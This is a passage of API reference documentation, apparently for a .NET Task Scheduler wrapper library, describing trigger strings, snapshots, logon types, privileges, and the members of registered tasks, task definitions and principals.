Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the 